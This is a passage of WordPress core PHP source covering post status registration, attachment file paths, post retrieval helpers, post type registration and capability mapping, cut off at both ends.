status' ), 'internal' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of confirmed requests. */ 'label_count' => _n_noop( 'Confirmed (%s)', 'Confirmed (%s)' ), 'exclude_from_search' => false, ) ); register_post_status( 'request-failed', array( 'label' => _x( 'Failed', 'request status' ), 'internal' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of failed requests. */ 'label_count' => _n_noop( 'Failed (%s)', 'Failed (%s)' ), 'exclude_from_search' => false, ) ); register_post_status( 'request-completed', array( 'label' => _x( 'Completed', 'request status' ), 'internal' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of completed requests. */ 'label_count' => _n_noop( 'Completed (%s)', 'Completed (%s)' ), 'exclude_from_search' => false, ) ); } /** * Retrieve attached file path based on attachment ID. * * By default the path will go through the 'get_attached_file' filter, but * passing a true to the $unfiltered argument of get_attached_file() will * return the file path unfiltered. * * The function works by getting the single post meta name, named * '_wp_attached_file' and returning it. This is a convenience function to * prevent looking up the meta name and provide a mechanism for sending the * attached filename through a filter. * * @since 2.0.0 * * @param int $attachment_id Attachment ID. * @param bool $unfiltered Optional. Whether to apply filters. Default false. * @return string|false The file path to where the attached file should be, false otherwise. */ function get_attached_file( $attachment_id, $unfiltered = false ) { $file = get_post_meta( $attachment_id, '_wp_attached_file', true ); // If the file is relative, prepend upload dir. if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) ) { $uploads = wp_get_upload_dir(); if ( false === $uploads['error'] ) { $file = $uploads['basedir'] . "/$file"; } } if ( $unfiltered ) { return $file; } /** * Filters the attached file based on the given ID. * * @since 2.1.0 * * @param string|false $file The file path to where the attached file should be, false otherwise. * @param int $attachment_id Attachment ID. */ return apply_filters( 'get_attached_file', $file, $attachment_id ); } /** * Update attachment file path based on attachment ID. * * Used to update the file path of the attachment, which uses post meta name * '_wp_attached_file' to store the path of the attachment. * * @since 2.1.0 * * @param int $attachment_id Attachment ID. * @param string $file File path for the attachment. * @return bool True on success, false on failure. */ function update_attached_file( $attachment_id, $file ) { if ( ! get_post( $attachment_id ) ) { return false; } /** * Filters the path to the attached file to update. * * @since 2.1.0 * * @param string $file Path to the attached file to update. * @param int $attachment_id Attachment ID. */ $file = apply_filters( 'update_attached_file', $file, $attachment_id ); $file = _wp_relative_upload_path( $file ); if ( $file ) { return update_post_meta( $attachment_id, '_wp_attached_file', $file ); } else { return delete_post_meta( $attachment_id, '_wp_attached_file' ); } } /** * Return relative path to an uploaded file. * * The path is relative to the current upload dir. * * @since 2.9.0 * @access private * * @param string $path Full path to the file. * @return string Relative path on success, unchanged path on failure. */ function _wp_relative_upload_path( $path ) { $new_path = $path; $uploads = wp_get_upload_dir(); if ( 0 === strpos( $new_path, $uploads['basedir'] ) ) { $new_path = str_replace( $uploads['basedir'], '', $new_path ); $new_path = ltrim( $new_path, '/' ); } /** * Filters the relative path to an uploaded file. * * @since 2.9.0 * * @param string $new_path Relative path to the file. * @param string $path Full path to the file. */ return apply_filters( '_wp_relative_upload_path', $new_path, $path ); } /** * Retrieve all children of the post parent ID. * * Normally, without any enhancements, the children would apply to pages. In the * context of the inner workings of WordPress, pages, posts, and attachments * share the same table, so therefore the functionality could apply to any one * of them. It is then noted that while this function does not work on posts, it * does not mean that it won't work on posts. It is recommended that you know * what context you wish to retrieve the children of. * * Attachments may also be made the child of a post, so if that is an accurate * statement (which needs to be verified), it would then be possible to get * all of the attachments for a post. Attachments have since changed since * version 2.5, so this is most likely inaccurate, but serves generally as an * example of what is possible. * * The arguments listed as defaults are for this function and also of the * get_posts() function. The arguments are combined with the get_children defaults * and are then passed to the get_posts() function, which accepts additional arguments. * You can replace the defaults in this function, listed below and the additional * arguments listed in the get_posts() function. * * The 'post_parent' is the most important argument and important attention * needs to be paid to the $args parameter. If you pass either an object or an * integer (number), then just the 'post_parent' is grabbed and everything else * is lost. If you don't specify any arguments, then it is assumed that you are * in The Loop and the post parent will be grabbed for from the current post. * * The 'post_parent' argument is the ID to get the children. The 'numberposts' * is the amount of posts to retrieve that has a default of '-1', which is * used to get all of the posts. Giving a number higher than 0 will only * retrieve that amount of posts. * * The 'post_type' and 'post_status' arguments can be used to choose what * criteria of posts to retrieve. The 'post_type' can be anything, but WordPress * post types are 'post', 'pages', and 'attachments'. The 'post_status' * argument will accept any post status within the write administration panels. * * @since 2.0.0 * * @see get_posts() * @todo Check validity of description. * * @global WP_Post $post Global post object. * * @param mixed $args Optional. User defined arguments for replacing the defaults. Default empty. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @return WP_Post[]|int[] Array of post objects or post IDs. */ function get_children( $args = '', $output = OBJECT ) { $kids = array(); if ( empty( $args ) ) { if ( isset( $GLOBALS['post'] ) ) { $args = array( 'post_parent' => (int) $GLOBALS['post']->post_parent ); } else { return $kids; } } elseif ( is_object( $args ) ) { $args = array( 'post_parent' => (int) $args->post_parent ); } elseif ( is_numeric( $args ) ) { $args = array( 'post_parent' => (int) $args ); } $defaults = array( 'numberposts' => -1, 'post_type' => 'any', 'post_status' => 'any', 'post_parent' => 0, ); $parsed_args = wp_parse_args( $args, $defaults ); $children = get_posts( $parsed_args ); if ( ! $children ) { return $kids; } if ( ! empty( $parsed_args['fields'] ) ) { return $children; } update_post_cache( $children ); foreach ( $children as $key => $child ) { $kids[ $child->ID ] = $children[ $key ]; } if ( OBJECT === $output ) { return $kids; } elseif ( ARRAY_A === $output ) { $weeuns = array(); foreach ( (array) $kids as $kid ) { $weeuns[ $kid->ID ] = get_object_vars( $kids[ $kid->ID ] ); } return $weeuns; } elseif ( ARRAY_N === $output ) { $babes = array(); foreach ( (array) $kids as $kid ) { $babes[ $kid->ID ] = array_values( get_object_vars( $kids[ $kid->ID ] ) ); } return $babes; } else { return $kids; } } /** * Get extended entry info (). * * There should not be any space after the second dash and before the word * 'more'. There can be text or space(s) after the word 'more', but won't be * referenced. * * The returned array has 'main', 'extended', and 'more_text' keys. Main has the text before * the ``. The 'extended' key has the content after the * `` comment. The 'more_text' key has the custom "Read More" text. * * @since 1.0.0 * * @param string $post Post content. * @return string[] { * Extended entry info. * * @type string $main Content before the more tag. * @type string $extended Content after the more tag. * @type string $more_text Custom read more text, or empty string. * } */ function get_extended( $post ) { // Match the new style more links. if ( preg_match( '//', $post, $matches ) ) { list($main, $extended) = explode( $matches[0], $post, 2 ); $more_text = $matches[1]; } else { $main = $post; $extended = ''; $more_text = ''; } // Leading and trailing whitespace. $main = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $main ); $extended = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $extended ); $more_text = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $more_text ); return array( 'main' => $main, 'extended' => $extended, 'more_text' => $more_text, ); } /** * Retrieves post data given a post ID or post object. * * See sanitize_post() for optional $filter values. Also, the parameter * `$post`, must be given as a variable, since it is passed by reference. * * @since 1.5.1 * * @global WP_Post $post Global post object. * * @param int|WP_Post|null $post Optional. Post ID or post object. `null`, `false`, `0` and other PHP falsey values * return the current global post inside the loop. A numerically valid post ID that * points to a non-existent post returns `null`. Defaults to global $post. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. Type of filter to apply. Accepts 'raw', 'edit', 'db', * or 'display'. Default 'raw'. * @return WP_Post|array|null Type corresponding to $output on success or null on failure. * When $output is OBJECT, a `WP_Post` instance is returned. */ function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) { if ( empty( $post ) && isset( $GLOBALS['post'] ) ) { $post = $GLOBALS['post']; } if ( $post instanceof WP_Post ) { $_post = $post; } elseif ( is_object( $post ) ) { if ( empty( $post->filter ) ) { $_post = sanitize_post( $post, 'raw' ); $_post = new WP_Post( $_post ); } elseif ( 'raw' === $post->filter ) { $_post = new WP_Post( $post ); } else { $_post = WP_Post::get_instance( $post->ID ); } } else { $_post = WP_Post::get_instance( $post ); } if ( ! $_post ) { return null; } $_post = $_post->filter( $filter ); if ( ARRAY_A === $output ) { return $_post->to_array(); } elseif ( ARRAY_N === $output ) { return array_values( $_post->to_array() ); } return $_post; } /** * Retrieves the IDs of the ancestors of a post. * * @since 2.5.0 * * @param int|WP_Post $post Post ID or post object. * @return int[] Array of ancestor IDs or empty array if there are none. */ function get_post_ancestors( $post ) { $post = get_post( $post ); if ( ! $post || empty( $post->post_parent ) || $post->post_parent == $post->ID ) { return array(); } $ancestors = array(); $id = $post->post_parent; $ancestors[] = $id; while ( $ancestor = get_post( $id ) ) { // Loop detection: If the ancestor has been seen before, break. if ( empty( $ancestor->post_parent ) || ( $ancestor->post_parent == $post->ID ) || in_array( $ancestor->post_parent, $ancestors, true ) ) { break; } $id = $ancestor->post_parent; $ancestors[] = $id; } return $ancestors; } /** * Retrieve data from a post field based on Post ID. * * Examples of the post field will be, 'post_type', 'post_status', 'post_content', * etc and based off of the post object property or key names. * * The context values are based off of the taxonomy filter functions and * supported values are found within those functions. * * @since 2.3.0 * @since 4.5.0 The `$post` parameter was made optional. * * @see sanitize_post_field() * * @param string $field Post field name. * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post. * @param string $context Optional. How to filter the field. Accepts 'raw', 'edit', 'db', * or 'display'. Default 'display'. * @return string The value of the post field on success, empty string on failure. */ function get_post_field( $field, $post = null, $context = 'display' ) { $post = get_post( $post ); if ( ! $post ) { return ''; } if ( ! isset( $post->$field ) ) { return ''; } return sanitize_post_field( $field, $post->$field, $post->ID, $context ); } /** * Retrieve the mime type of an attachment based on the ID. * * This function can be used with any post type, but it makes more sense with * attachments. * * @since 2.0.0 * * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post. * @return string|false The mime type on success, false on failure. */ function get_post_mime_type( $post = null ) { $post = get_post( $post ); if ( is_object( $post ) ) { return $post->post_mime_type; } return false; } /** * Retrieve the post status based on the post ID. * * If the post ID is of an attachment, then the parent post status will be given * instead. * * @since 2.0.0 * * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post. * @return string|false Post status on success, false on failure. */ function get_post_status( $post = null ) { $post = get_post( $post ); if ( ! is_object( $post ) ) { return false; } $post_status = $post->post_status; if ( 'attachment' === $post->post_type && 'inherit' === $post_status ) { if ( 0 === $post->post_parent || ! get_post( $post->post_parent ) || $post->ID === $post->post_parent ) { // Unattached attachments with inherit status are assumed to be published. $post_status = 'publish'; } elseif ( 'trash' === get_post_status( $post->post_parent ) ) { // Get parent status prior to trashing. $post_status = get_post_meta( $post->post_parent, '_wp_trash_meta_status', true ); if ( ! $post_status ) { // Assume publish as above. $post_status = 'publish'; } } else { $post_status = get_post_status( $post->post_parent ); } } elseif ( 'attachment' === $post->post_type && ! in_array( $post_status, array( 'private', 'trash', 'auto-draft' ), true ) ) { /* * Ensure uninherited attachments have a permitted status either 'private', 'trash', 'auto-draft'. * This is to match the logic in wp_insert_post(). * * Note: 'inherit' is excluded from this check as it is resolved to the parent post's * status in the logic block above. */ $post_status = 'publish'; } /** * Filters the post status. * * @since 4.4.0 * @since 5.7.0 The attachment post type is now passed through this filter. * * @param string $post_status The post status. * @param WP_Post $post The post object. */ return apply_filters( 'get_post_status', $post_status, $post ); } /** * Retrieve all of the WordPress supported post statuses. * * Posts have a limited set of valid status values, this provides the * post_status values and descriptions. * * @since 2.5.0 * * @return string[] Array of post status labels keyed by their status. */ function get_post_statuses() { $status = array( 'draft' => __( 'Draft' ), 'pending' => __( 'Pending Review' ), 'private' => __( 'Private' ), 'publish' => __( 'Published' ), ); return $status; } /** * Retrieve all of the WordPress support page statuses. * * Pages have a limited set of valid status values, this provides the * post_status values and descriptions. * * @since 2.5.0 * * @return string[] Array of page status labels keyed by their status. */ function get_page_statuses() { $status = array( 'draft' => __( 'Draft' ), 'private' => __( 'Private' ), 'publish' => __( 'Published' ), ); return $status; } /** * Return statuses for privacy requests. * * @since 4.9.6 * @access private * * @return array */ function _wp_privacy_statuses() { return array( 'request-pending' => _x( 'Pending', 'request status' ), // Pending confirmation from user. 'request-confirmed' => _x( 'Confirmed', 'request status' ), // User has confirmed the action. 'request-failed' => _x( 'Failed', 'request status' ), // User failed to confirm the action. 'request-completed' => _x( 'Completed', 'request status' ), // Admin has handled the request. ); } /** * Register a post status. Do not use before init. * * A simple function for creating or modifying a post status based on the * parameters given. The function will accept an array (second optional * parameter), along with a string for the post status name. * * Arguments prefixed with an _underscore shouldn't be used by plugins and themes. * * @since 3.0.0 * * @global stdClass[] $wp_post_statuses Inserts new post status object into the list * * @param string $post_status Name of the post status. * @param array|string $args { * Optional. Array or string of post status arguments. * * @type bool|string $label A descriptive name for the post status marked * for translation. Defaults to value of $post_status. * @type bool|array $label_count Descriptive text to use for nooped plurals. * Default array of $label, twice. * @type bool $exclude_from_search Whether to exclude posts with this post status * from search results. Default is value of $internal. * @type bool $_builtin Whether the status is built-in. Core-use only. * Default false. * @type bool $public Whether posts of this status should be shown * in the front end of the site. Default false. * @type bool $internal Whether the status is for internal use only. * Default false. * @type bool $protected Whether posts with this status should be protected. * Default false. * @type bool $private Whether posts with this status should be private. * Default false. * @type bool $publicly_queryable Whether posts with this status should be publicly- * queryable. Default is value of $public. * @type bool $show_in_admin_all_list Whether to include posts in the edit listing for * their post type. Default is the opposite value * of $internal. * @type bool $show_in_admin_status_list Show in the list of statuses with post counts at * the top of the edit listings, * e.g. All (12) | Published (9) | My Custom Status (2) * Default is the opposite value of $internal. * @type bool $date_floating Whether the post has a floating creation date. * Default to false. * } * @return object */ function register_post_status( $post_status, $args = array() ) { global $wp_post_statuses; if ( ! is_array( $wp_post_statuses ) ) { $wp_post_statuses = array(); } // Args prefixed with an underscore are reserved for internal use. $defaults = array( 'label' => false, 'label_count' => false, 'exclude_from_search' => null, '_builtin' => false, 'public' => null, 'internal' => null, 'protected' => null, 'private' => null, 'publicly_queryable' => null, 'show_in_admin_status_list' => null, 'show_in_admin_all_list' => null, 'date_floating' => null, ); $args = wp_parse_args( $args, $defaults ); $args = (object) $args; $post_status = sanitize_key( $post_status ); $args->name = $post_status; // Set various defaults. if ( null === $args->public && null === $args->internal && null === $args->protected && null === $args->private ) { $args->internal = true; } if ( null === $args->public ) { $args->public = false; } if ( null === $args->private ) { $args->private = false; } if ( null === $args->protected ) { $args->protected = false; } if ( null === $args->internal ) { $args->internal = false; } if ( null === $args->publicly_queryable ) { $args->publicly_queryable = $args->public; } if ( null === $args->exclude_from_search ) { $args->exclude_from_search = $args->internal; } if ( null === $args->show_in_admin_all_list ) { $args->show_in_admin_all_list = ! $args->internal; } if ( null === $args->show_in_admin_status_list ) { $args->show_in_admin_status_list = ! $args->internal; } if ( null === $args->date_floating ) { $args->date_floating = false; } if ( false === $args->label ) { $args->label = $post_status; } if ( false === $args->label_count ) { // phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralSingle,WordPress.WP.I18n.NonSingularStringLiteralPlural $args->label_count = _n_noop( $args->label, $args->label ); } $wp_post_statuses[ $post_status ] = $args; return $args; } /** * Retrieve a post status object by name. * * @since 3.0.0 * * @global stdClass[] $wp_post_statuses List of post statuses. * * @see register_post_status() * * @param string $post_status The name of a registered post status. * @return stdClass|null A post status object. */ function get_post_status_object( $post_status ) { global $wp_post_statuses; if ( empty( $wp_post_statuses[ $post_status ] ) ) { return null; } return $wp_post_statuses[ $post_status ]; } /** * Get a list of post statuses. * * @since 3.0.0 * * @global stdClass[] $wp_post_statuses List of post statuses. * * @see register_post_status() * * @param array|string $args Optional. Array or string of post status arguments to compare against * properties of the global `$wp_post_statuses objects`. Default empty array. * @param string $output Optional. The type of output to return, either 'names' or 'objects'. Default 'names'. * @param string $operator Optional. The logical operation to perform. 'or' means only one element * from the array needs to match; 'and' means all elements must match. * Default 'and'. * @return string[]|stdClass[] A list of post status names or objects. */ function get_post_stati( $args = array(), $output = 'names', $operator = 'and' ) { global $wp_post_statuses; $field = ( 'names' === $output ) ? 'name' : false; return wp_filter_object_list( $wp_post_statuses, $args, $operator, $field ); } /** * Whether the post type is hierarchical. * * A false return value might also mean that the post type does not exist. * * @since 3.0.0 * * @see get_post_type_object() * * @param string $post_type Post type name * @return bool Whether post type is hierarchical. */ function is_post_type_hierarchical( $post_type ) { if ( ! post_type_exists( $post_type ) ) { return false; } $post_type = get_post_type_object( $post_type ); return $post_type->hierarchical; } /** * Determines whether a post type is registered. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 3.0.0 * * @see get_post_type_object() * * @param string $post_type Post type name. * @return bool Whether post type is registered. */ function post_type_exists( $post_type ) { return (bool) get_post_type_object( $post_type ); } /** * Retrieves the post type of the current post or of a given post. * * @since 2.1.0 * * @param int|WP_Post|null $post Optional. Post ID or post object. Default is global $post. * @return string|false Post type on success, false on failure. */ function get_post_type( $post = null ) { $post = get_post( $post ); if ( $post ) { return $post->post_type; } return false; } /** * Retrieves a post type object by name. * * @since 3.0.0 * @since 4.6.0 Object returned is now an instance of `WP_Post_Type`. * * @global array $wp_post_types List of post types. * * @see register_post_type() * * @param string $post_type The name of a registered post type. * @return WP_Post_Type|null WP_Post_Type object if it exists, null otherwise. */ function get_post_type_object( $post_type ) { global $wp_post_types; if ( ! is_scalar( $post_type ) || empty( $wp_post_types[ $post_type ] ) ) { return null; } return $wp_post_types[ $post_type ]; } /** * Get a list of all registered post type objects. * * @since 2.9.0 * * @global array $wp_post_types List of post types. * * @see register_post_type() for accepted arguments. * * @param array|string $args Optional. An array of key => value arguments to match against * the post type objects. Default empty array. * @param string $output Optional. The type of output to return. Accepts post type 'names' * or 'objects'. Default 'names'. * @param string $operator Optional. The logical operation to perform. 'or' means only one * element from the array needs to match; 'and' means all elements * must match; 'not' means no elements may match. Default 'and'. * @return string[]|WP_Post_Type[] An array of post type names or objects. */ function get_post_types( $args = array(), $output = 'names', $operator = 'and' ) { global $wp_post_types; $field = ( 'names' === $output ) ? 'name' : false; return wp_filter_object_list( $wp_post_types, $args, $operator, $field ); } /** * Registers a post type. * * Note: Post type registrations should not be hooked before the * {@see 'init'} action. Also, any taxonomy connections should be * registered via the `$taxonomies` argument to ensure consistency * when hooks such as {@see 'parse_query'} or {@see 'pre_get_posts'} * are used. * * Post types can support any number of built-in core features such * as meta boxes, custom fields, post thumbnails, post statuses, * comments, and more. See the `$supports` argument for a complete * list of supported features. * * @since 2.9.0 * @since 3.0.0 The `show_ui` argument is now enforced on the new post screen. * @since 4.4.0 The `show_ui` argument is now enforced on the post type listing * screen and post editing screen. * @since 4.6.0 Post type object returned is now an instance of `WP_Post_Type`. * @since 4.7.0 Introduced `show_in_rest`, `rest_base` and `rest_controller_class` * arguments to register the post type in REST API. * @since 5.0.0 The `template` and `template_lock` arguments were added. * @since 5.3.0 The `supports` argument will now accept an array of arguments for a feature. * @since 5.9.0 The `rest_namespace` argument was added. * * @global array $wp_post_types List of post types. * * @param string $post_type Post type key. Must not exceed 20 characters and may * only contain lowercase alphanumeric characters, dashes, * and underscores. See sanitize_key(). * @param array|string $args { * Array or string of arguments for registering a post type. * * @type string $label Name of the post type shown in the menu. Usually plural. * Default is value of $labels['name']. * @type string[] $labels An array of labels for this post type. If not set, post * labels are inherited for non-hierarchical types and page * labels for hierarchical ones. See get_post_type_labels() for a full * list of supported labels. * @type string $description A short descriptive summary of what the post type is. * Default empty. * @type bool $public Whether a post type is intended for use publicly either via * the admin interface or by front-end users. While the default * settings of $exclude_from_search, $publicly_queryable, $show_ui, * and $show_in_nav_menus are inherited from $public, each does not * rely on this relationship and controls a very specific intention. * Default false. * @type bool $hierarchical Whether the post type is hierarchical (e.g. page). Default false. * @type bool $exclude_from_search Whether to exclude posts with this post type from front end search * results. Default is the opposite value of $public. * @type bool $publicly_queryable Whether queries can be performed on the front end for the post type * as part of parse_request(). Endpoints would include: * * ?post_type={post_type_key} * * ?{post_type_key}={single_post_slug} * * ?{post_type_query_var}={single_post_slug} * If not set, the default is inherited from $public. * @type bool $show_ui Whether to generate and allow a UI for managing this post type in the * admin. Default is value of $public. * @type bool|string $show_in_menu Where to show the post type in the admin menu. To work, $show_ui * must be true. If true, the post type is shown in its own top level * menu. If false, no menu is shown. If a string of an existing top * level menu ('tools.php' or 'edit.php?post_type=page', for example), the * post type will be placed as a sub-menu of that. * Default is value of $show_ui. * @type bool $show_in_nav_menus Makes this post type available for selection in navigation menus. * Default is value of $public. * @type bool $show_in_admin_bar Makes this post type available via the admin bar. Default is value * of $show_in_menu. * @type bool $show_in_rest Whether to include the post type in the REST API. Set this to true * for the post type to be available in the block editor. * @type string $rest_base To change the base URL of REST API route. Default is $post_type. * @type string $rest_namespace To change the namespace URL of REST API route. Default is wp/v2. * @type string $rest_controller_class REST API controller class name. Default is 'WP_REST_Posts_Controller'. * @type int $menu_position The position in the menu order the post type should appear. To work, * $show_in_menu must be true. Default null (at the bottom). * @type string $menu_icon The URL to the icon to be used for this menu. Pass a base64-encoded * SVG using a data URI, which will be colored to match the color scheme * -- this should begin with 'data:image/svg+xml;base64,'. Pass the name * of a Dashicons helper class to use a font icon, e.g. * 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty * so an icon can be added via CSS. Defaults to use the posts icon. * @type string|array $capability_type The string to use to build the read, edit, and delete capabilities. * May be passed as an array to allow for alternative plurals when using * this argument as a base to construct the capabilities, e.g. * array('story', 'stories'). Default 'post'. * @type string[] $capabilities Array of capabilities for this post type. $capability_type is used * as a base to construct capabilities by default. * See get_post_type_capabilities(). * @type bool $map_meta_cap Whether to use the internal default meta capability handling. * Default false. * @type array $supports Core feature(s) the post type supports. Serves as an alias for calling * add_post_type_support() directly. Core features include 'title', * 'editor', 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', * 'page-attributes', 'thumbnail', 'custom-fields', and 'post-formats'. * Additionally, the 'revisions' feature dictates whether the post type * will store revisions, and the 'comments' feature dictates whether the * comments count will show on the edit screen. A feature can also be * specified as an array of arguments to provide additional information * about supporting that feature. * Example: `array( 'my_feature', array( 'field' => 'value' ) )`. * Default is an array containing 'title' and 'editor'. * @type callable $register_meta_box_cb Provide a callback function that sets up the meta boxes for the * edit form. Do remove_meta_box() and add_meta_box() calls in the * callback. Default null. * @type string[] $taxonomies An array of taxonomy identifiers that will be registered for the * post type. Taxonomies can be registered later with register_taxonomy() * or register_taxonomy_for_object_type(). * Default empty array. * @type bool|string $has_archive Whether there should be post type archives, or if a string, the * archive slug to use. Will generate the proper rewrite rules if * $rewrite is enabled. Default false. * @type bool|array $rewrite { * Triggers the handling of rewrites for this post type. To prevent rewrite, set to false. * Defaults to true, using $post_type as slug. To specify rewrite rules, an array can be * passed with any of these keys: * * @type string $slug Customize the permastruct slug. Defaults to $post_type key. * @type bool $with_front Whether the permastruct should be prepended with WP_Rewrite::$front. * Default true. * @type bool $feeds Whether the feed permastruct should be built for this post type. * Default is value of $has_archive. * @type bool $pages Whether the permastruct should provide for pagination. Default true. * @type int $ep_mask Endpoint mask to assign. If not specified and permalink_epmask is set, * inherits from $permalink_epmask. If not specified and permalink_epmask * is not set, defaults to EP_PERMALINK. * } * @type string|bool $query_var Sets the query_var key for this post type. Defaults to $post_type * key. If false, a post type cannot be loaded at * ?{query_var}={post_slug}. If specified as a string, the query * ?{query_var_string}={post_slug} will be valid. * @type bool $can_export Whether to allow this post type to be exported. Default true. * @type bool $delete_with_user Whether to delete posts of this type when deleting a user. * * If true, posts of this type belonging to the user will be moved * to Trash when the user is deleted. * * If false, posts of this type belonging to the user will *not* * be trashed or deleted. * * If not set (the default), posts are trashed if post type supports * the 'author' feature. Otherwise posts are not trashed or deleted. * Default null. * @type array $template Array of blocks to use as the default initial state for an editor * session. Each item should be an array containing block name and * optional attributes. Default empty array. * @type string|false $template_lock Whether the block template should be locked if $template is set. * * If set to 'all', the user is unable to insert new blocks, * move existing blocks and delete blocks. * * If set to 'insert', the user is able to move existing blocks * but is unable to insert new blocks and delete blocks. * Default false. * @type bool $_builtin FOR INTERNAL USE ONLY! True if this post type is a native or * "built-in" post_type. Default false. * @type string $_edit_link FOR INTERNAL USE ONLY! URL segment to use for edit link of * this post type. Default 'post.php?post=%d'. * } * @return WP_Post_Type|WP_Error The registered post type object on success, * WP_Error object on failure. */ function register_post_type( $post_type, $args = array() ) { global $wp_post_types; if ( ! is_array( $wp_post_types ) ) { $wp_post_types = array(); } // Sanitize post type name. $post_type = sanitize_key( $post_type ); if ( empty( $post_type ) || strlen( $post_type ) > 20 ) { _doing_it_wrong( __FUNCTION__, __( 'Post type names must be between 1 and 20 characters in length.' ), '4.2.0' ); return new WP_Error( 'post_type_length_invalid', __( 'Post type names must be between 1 and 20 characters in length.' ) ); } $post_type_object = new WP_Post_Type( $post_type, $args ); $post_type_object->add_supports(); $post_type_object->add_rewrite_rules(); $post_type_object->register_meta_boxes(); $wp_post_types[ $post_type ] = $post_type_object; $post_type_object->add_hooks(); $post_type_object->register_taxonomies(); /** * Fires after a post type is registered. * * @since 3.3.0 * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object. * * @param string $post_type Post type. * @param WP_Post_Type $post_type_object Arguments used to register the post type. */ do_action( 'registered_post_type', $post_type, $post_type_object ); /** * Fires after a specific post type is registered. * * The dynamic portion of the filter name, `$post_type`, refers to the post type key. * * Possible hook names include: * * - `registered_post_type_post` * - `registered_post_type_page` * * @since 6.0.0 * * @param string $post_type Post type. * @param WP_Post_Type $post_type_object Arguments used to register the post type. */ do_action( "registered_post_type_{$post_type}", $post_type, $post_type_object ); return $post_type_object; } /** * Unregisters a post type. * * Cannot be used to unregister built-in post types. * * @since 4.5.0 * * @global array $wp_post_types List of post types. * * @param string $post_type Post type to unregister. * @return true|WP_Error True on success, WP_Error on failure or if the post type doesn't exist. */ function unregister_post_type( $post_type ) { global $wp_post_types; if ( ! post_type_exists( $post_type ) ) { return new WP_Error( 'invalid_post_type', __( 'Invalid post type.' ) ); } $post_type_object = get_post_type_object( $post_type ); // Do not allow unregistering internal post types. if ( $post_type_object->_builtin ) { return new WP_Error( 'invalid_post_type', __( 'Unregistering a built-in post type is not allowed' ) ); } $post_type_object->remove_supports(); $post_type_object->remove_rewrite_rules(); $post_type_object->unregister_meta_boxes(); $post_type_object->remove_hooks(); $post_type_object->unregister_taxonomies(); unset( $wp_post_types[ $post_type ] ); /** * Fires after a post type was unregistered. * * @since 4.5.0 * * @param string $post_type Post type key. */ do_action( 'unregistered_post_type', $post_type ); return true; } /** * Build an object with all post type capabilities out of a post type object * * Post type capabilities use the 'capability_type' argument as a base, if the * capability is not set in the 'capabilities' argument array or if the * 'capabilities' argument is not supplied. * * The capability_type argument can optionally be registered as an array, with * the first value being singular and the second plural, e.g. array('story, 'stories') * Otherwise, an 's' will be added to the value for the plural form. After * registration, capability_type will always be a string of the singular value. * * By default, eight keys are accepted as part of the capabilities array: * * - edit_post, read_post, and delete_post are meta capabilities, which are then * generally mapped to corresponding primitive capabilities depending on the * context, which would be the post being edited/read/deleted and the user or * role being checked. Thus these capabilities would generally not be granted * directly to users or roles. * * - edit_posts - Controls whether objects of this post type can be edited. * - edit_others_posts - Controls whether objects of this type owned by other users * can be edited. If the post type does not support an author, then this will * behave like edit_posts. * - delete_posts - Controls whether objects of this post type can be deleted. * - publish_posts - Controls publishing objects of this post type. * - read_private_posts - Controls whether private objects can be read. * * These five primitive capabilities are checked in core in various locations. * There are also six other primitive capabilities which are not referenced * directly in core, except in map_meta_cap(), which takes the three aforementioned * meta capabilities and translates them into one or more primitive capabilities * that must then be checked against the user or role, depending on the context. * * - read - Controls whether objects of this post type can be read. * - delete_private_posts - Controls whether private objects can be deleted. * - delete_published_posts - Controls whether published objects can be deleted. * - delete_others_posts - Controls whether objects owned by other users can be * can be deleted. If the post type does not support an author, then this will * behave like delete_posts. * - edit_private_posts - Controls whether private objects can be edited. * - edit_published_posts - Controls whether published objects can be edited. * * These additional capabilities are only used in map_meta_cap(). Thus, they are * only assigned by default if the post type is registered with the 'map_meta_cap' * argument set to true (default is false). * * @since 3.0.0 * @since 5.4.0 'delete_posts' is included in default capabilities. * * @see register_post_type() * @see map_meta_cap() * * @param object $args Post type registration arguments. * @return object Object with all the capabilities as member variables. */ function get_post_type_capabilities( $args ) { if ( ! is_array( $args->capability_type ) ) { $args->capability_type = array( $args->capability_type, $args->capability_type . 's' ); } // Singular base for meta capabilities, plural base for primitive capabilities. list( $singular_base, $plural_base ) = $args->capability_type; $default_capabilities = array( // Meta capabilities. 'edit_post' => 'edit_' . $singular_base, 'read_post' => 'read_' . $singular_base, 'delete_post' => 'delete_' . $singular_base, // Primitive capabilities used outside of map_meta_cap(): 'edit_posts' => 'edit_' . $plural_base, 'edit_others_posts' => 'edit_others_' . $plural_base, 'delete_posts' => 'delete_' . $plural_base, 'publish_posts' => 'publish_' . $plural_base, 'read_private_posts' => 'read_private_' . $plural_base, ); // Primitive capabilities used within map_meta_cap(): if ( $args->map_meta_cap ) { $default_capabilities_for_mapping = array( 'read' => 'read', 'delete_private_posts' => 'delete_private_' . $plural_base, 'delete_published_posts' => 'delete_published_' . $plural_base, 'delete_others_posts' => 'delete_others_' . $plural_base, 'edit_private_posts' => 'edit_private_' . $plural_base, 'edit_published_posts' => 'edit_published_' . $plural_base, ); $default_capabilities = array_merge( $default_capabilities, $default_capabilities_for_mapping ); } $capabilities = array_merge( $default_capabilities, $args->capabilities ); // Post creation capability simply maps to edit_posts by default: if ( ! isset( $capabilities['create_posts'] ) ) { $capabilities['create_posts'] = $capabilities['edit_posts']; } // Remember meta 